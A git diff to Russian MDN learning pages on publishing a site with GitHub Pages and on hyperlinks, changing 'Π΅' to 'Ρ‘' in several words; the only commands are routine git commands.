-<p>Π›ΡƒΡ‡ΡˆΠΈΠΉ способ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ Π² Github - Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку - это ΠΎΠΊΠ½ΠΎ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, Π° Π½Π΅ Ρ‰Π΅Π»ΠΊΠ°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. Он Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>Π›ΡƒΡ‡ΡˆΠΈΠΉ способ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ Π² Github - Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку - это ΠΎΠΊΠ½ΠΎ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, Π° Π½Π΅ Ρ‰Ρ‘Π»ΠΊΠ°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. Он Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/9483/command-line.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p>
@@ -46,7 +46,7 @@ translation_of: Learn/Common_questions/Using_Github_pages
<p>КаТдая опСрационная систСма поставляСтся с инструмСнтом ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки:</p>
<ul>
- <li><strong>Windows: Командная строка</strong> (<strong>Command Prompt)</strong> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ клавиши Windows, Π½Π°Π±Ρ€Π°Π² <em>Command Prompt</em> ΠΈ Π²Ρ‹Π±Ρ€Π°Π² Π΅Π΅ ΠΈΠ· появившСгося списка. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Windows ΠΈΠΌΠ΅Π΅Ρ‚ свои собствСнныС условныС обозначСния ΠΊΠΎΠΌΠ°Π½Π΄, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ Linux ΠΈ OS X, поэтому ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
+ <li><strong>Windows: Командная строка</strong> (<strong>Command Prompt)</strong> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ клавиши Windows, Π½Π°Π±Ρ€Π°Π² <em>Command Prompt</em> ΠΈ Π²Ρ‹Π±Ρ€Π°Π² Π΅Ρ‘ ΠΈΠ· появившСгося списка. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Windows ΠΈΠΌΠ΅Π΅Ρ‚ свои собствСнныС условныС обозначСния ΠΊΠΎΠΌΠ°Π½Π΄, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ Linux ΠΈ OS X, поэтому ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
<li><strong>OS X: Π’Π΅Ρ€ΠΌΠΈΠ½Π°Π»</strong> (<strong>Terminal)</strong> ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² <em>Applications &gt; Utilities</em>.</li>
<li><strong>Linux: </strong>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <em>Ctrl + Alt + T</em>. Если это Π½Π΅ сработаСт, Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ <strong>Terminal</strong> Π² ΠΏΠ°Π½Π΅Π»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ мСню.</li>
</ul>
@@ -60,14 +60,14 @@ translation_of: Learn/Common_questions/Using_Github_pages
<li>На этой страницС Π² ΠΏΠΎΠ»Π΅ Имя рСпозитория (<em>Repository name</em>) Π²Π²Π΅Π΄ΠΈΡ‚Π΅ имя для своСго рСпозитория, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <em>my-repository</em>.</li>
<li>Π’Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ описаниС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ваш Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ. Π’Π°Ρˆ экран Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:<br>
<img alt="" src="https://mdn.mozillademos.org/files/12143/create-new-repo.png" style="display: block; height: 548px; margin: 0px auto; width: 800px;"></li>
- <li>НаТмитС Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ (<em>Create repository</em>); это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ вас ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ страницС:<br>
+ <li>НаТмитС Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ (<em>Create repository</em>); это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ вас ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ страницС:<br>
<img alt="" src="https://mdn.mozillademos.org/files/12141/github-repo.png" style="display: block; height: 520px; margin: 0px auto; width: 800px;"></li>
</ol>
<h3 id="Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_Ρ„Π°ΠΉΠ»ΠΎΠ²_Π½Π°_GitHub">Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° GitHub</h3>
<ol>
- <li>На Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницС вас интСрСсуСт Ρ€Π°Π·Π΄Π΅Π»Β <em>…or push an existing repository from the command line</em> (...ΠΈΠ»ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки). Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Π²Π΅ строки ΠΊΠΎΠ΄Π°, пСрСчислСнныС Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ всю ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку, Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π΅ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Enter. Команда Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:
+ <li>На Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницС вас интСрСсуСт Ρ€Π°Π·Π΄Π΅Π»Β <em>…or push an existing repository from the command line</em> (...ΠΈΠ»ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки). Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Π²Π΅ строки ΠΊΠΎΠ΄Π°, пСрСчислСнныС Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ всю ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку, Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‘ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Enter. Команда Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:
<pre class="copyable-terminal-content js-zeroclipboard-target"><span class="user-select-contain">git remote add origin <span class="js-live-clone-url">https://github.com/chrisdavidmills/my-repository.git</span></span></pre>
</li>
@@ -78,9 +78,9 @@ git commit -m 'adding my files to my repository'</pre>
<li>НаконСц, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠΎΠ΄ Π΄ΠΎ GitHub, пСрСйдя Π½Π° Π²Π΅Π±-страницу GitHub, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ΡΡŒ, ΠΈ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π» Π²Ρ‚ΠΎΡ€ΡƒΡŽ ΠΈΠ· Π΄Π²ΡƒΡ… ΠΊΠΎΠΌΠ°Π½Π΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈΒ  <em>…or push an existing repository from the command line</em>:
<pre class="brush: bash">git push -u origin master</pre>
</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π²Π΅Ρ‚Π²ΡŒ gh-pages вашСго repo; ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ страницу ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ страницу рСпозитория, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ говорится ΠΎ <em>Branch: <strong>master</strong></em>, Π²Π²Π΅Π΄ΠΈΡ‚Π΅ <em>gh-pages</em> Π² тСкстовом Π²Π²ΠΎΠ΄Π΅, Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ синюю ΠΊΠ½ΠΎΠΏΠΊΡƒ с надписью <em>Create branch: gh-pages</em>. Π­Ρ‚ΠΎ создаСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ Π²Π΅Ρ‚Π²ΡŒ ΠΊΠΎΠ΄Π°, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ gh-pages, которая публикуСтся Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌ мСстС. URL-адрСс ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡƒ <em>username.github.io/my-repository-name</em>, поэтому Π² ΠΌΠΎΠ΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ URL-адрСс Π±ΡƒΠ΄Π΅Ρ‚ <em>https://chrisdavidmills.github.io/my-repository</em>. ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠ°Ρ страница - это страница index.html.<br>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π²Π΅Ρ‚Π²ΡŒ gh-pages вашСго repo; ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ страницу ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ страницу рСпозитория, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ говорится ΠΎ <em>Branch: <strong>master</strong></em>, Π²Π²Π΅Π΄ΠΈΡ‚Π΅ <em>gh-pages</em> Π² тСкстовом Π²Π²ΠΎΠ΄Π΅, Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ синюю ΠΊΠ½ΠΎΠΏΠΊΡƒ с надписью <em>Create branch: gh-pages</em>. Π­Ρ‚ΠΎ создаёт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ Π²Π΅Ρ‚Π²ΡŒ ΠΊΠΎΠ΄Π°, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ gh-pages, которая публикуСтся Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌ мСстС. URL-адрСс ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡƒ <em>username.github.io/my-repository-name</em>, поэтому Π² ΠΌΠΎΠ΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ URL-адрСс Π±ΡƒΠ΄Π΅Ρ‚ <em>https://chrisdavidmills.github.io/my-repository</em>. ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠ°Ρ страница - это страница index.html.<br>
<img alt="" src="https://mdn.mozillademos.org/files/12145/repo-site.png" style="display: block; margin: 0 auto;"></li>
- <li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° Π²Π΅Π±-адрСс GitHub Pages Π½Π° Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ свой сайт ΠΎΠ½Π»Π°ΠΉΠ½! ΠžΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ своим Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ ΠΈ продСмонстрируйтС своС мастСрство.</li>
+ <li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° Π²Π΅Π±-адрСс GitHub Pages Π½Π° Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ свой сайт ΠΎΠ½Π»Π°ΠΉΠ½! ΠžΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ своим Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ ΠΈ продСмонстрируйтС своё мастСрство.</li>
</ol>
<div class="note">
@@ -89,7 +89,7 @@ git commit -m 'adding my files to my repository'</pre>
<h3 id="Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠ΅Π΅_Π·Π½Π°Π½ΠΈΠ΅_GitHub">Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠ΅Π΅ Π·Π½Π°Π½ΠΈΠ΅ GitHub</h3>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ большС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π° своСм тСстовом сайтС ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π° GitHub, Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ внСсти измСнСния Π² свои Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅. Π—Π°Ρ‚Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ (Π½Π°ΠΆΠ°Π² Enter послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти измСнСния Π² GitHub:</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ большС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π° своём тСстовом сайтС ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π° GitHub, Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ внСсти измСнСния Π² свои Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅. Π—Π°Ρ‚Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ (Π½Π°ΠΆΠ°Π² Enter послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти измСнСния Π² GitHub:</p>
<pre>git add --all
git commit -m 'another commit'
diff --git a/files/ru/learn/common_questions/what_are_hyperlinks/index.html b/files/ru/learn/common_questions/what_are_hyperlinks/index.html
index c53a95d6ac..e422ec2bd6 100644
--- a/files/ru/learn/common_questions/what_are_hyperlinks/index.html
+++ b/files/ru/learn/common_questions/what_are_hyperlinks/index.html
@@ -37,11 +37,11 @@ original_slug: Learn/Understanding_links_on_the_web
<li>{{Glossary("HTML")}}, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ <em>гипСрссылки</em></li>
</ol>
-<p>Как Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, всС Π² Π’Π΅Π±Π΅ крутится Π²ΠΎΠΊΡ€ΡƒΠ³ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈ способах обСспСчСния доступа ΠΊ Π½ΠΈΠΌ. ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Ρ†Π΅Π»ΡŒ Π’Π΅Π±Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π»Π°ΡΡŒ Π² прСдоставлСнии Π»Π΅Π³ΠΊΠΎΠ³ΠΎ инструмСнта доступа ΠΊ тСкстовым Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ, ΠΈΡ… чтСния ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ Π½ΠΈΠΌ. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ Π’Π΅Π± ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π» Π² инструмСнт обСспСчСния доступа ΠΊ изобраТСниям, Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ, Π½ΠΎ всС эти ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ вряд Π»ΠΈ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ Π±Π΅Π· Ρ‚Π΅Ρ… самых трёх ΠΊΠΈΡ‚ΠΎΠ², ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π³ΠΎΠ²ΠΎΡ€ΠΈΠ» Π’ΠΈΠΌ.Β </p>
+<p>Как Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, всС Π² Π’Π΅Π±Π΅ крутится Π²ΠΎΠΊΡ€ΡƒΠ³ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈ способах обСспСчСния доступа ΠΊ Π½ΠΈΠΌ. ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Ρ†Π΅Π»ΡŒ Π’Π΅Π±Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π»Π°ΡΡŒ Π² прСдоставлСнии Π»Ρ‘Π³ΠΊΠΎΠ³ΠΎ инструмСнта доступа ΠΊ тСкстовым Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ, ΠΈΡ… чтСния ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ Π½ΠΈΠΌ. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ Π’Π΅Π± ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π» Π² инструмСнт обСспСчСния доступа ΠΊ изобраТСниям, Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ, Π½ΠΎ всС эти ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ вряд Π»ΠΈ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ Π±Π΅Π· Ρ‚Π΅Ρ… самых трёх ΠΊΠΈΡ‚ΠΎΠ², ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π³ΠΎΠ²ΠΎΡ€ΠΈΠ» Π’ΠΈΠΌ.Β </p>
<p>Π”ΠΎ Π’Π΅Π±Π° Π±Ρ‹Π»ΠΎ вСсьма слоТно ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ. Π‘Ρ‚Π°Π² понятными для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, URL-адрСса уТС сдСлали Тизнь Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΠΏΡ€ΠΎΡ‰Π΅, Π½ΠΎ нам довольно слоТно Π±Ρ‹Π»ΠΎ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉΒ URL ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈΒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. Π’ΠΎΡ‚ Ρ‚ΡƒΡ‚ Ρ‚ΠΎ гипСрссылки ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΠ»ΠΈ Ρ€Π΅Π²ΠΎΠ»ΡŽΡ†ΠΈΡŽ. Бсылка ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ любой тСкст с URL, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ 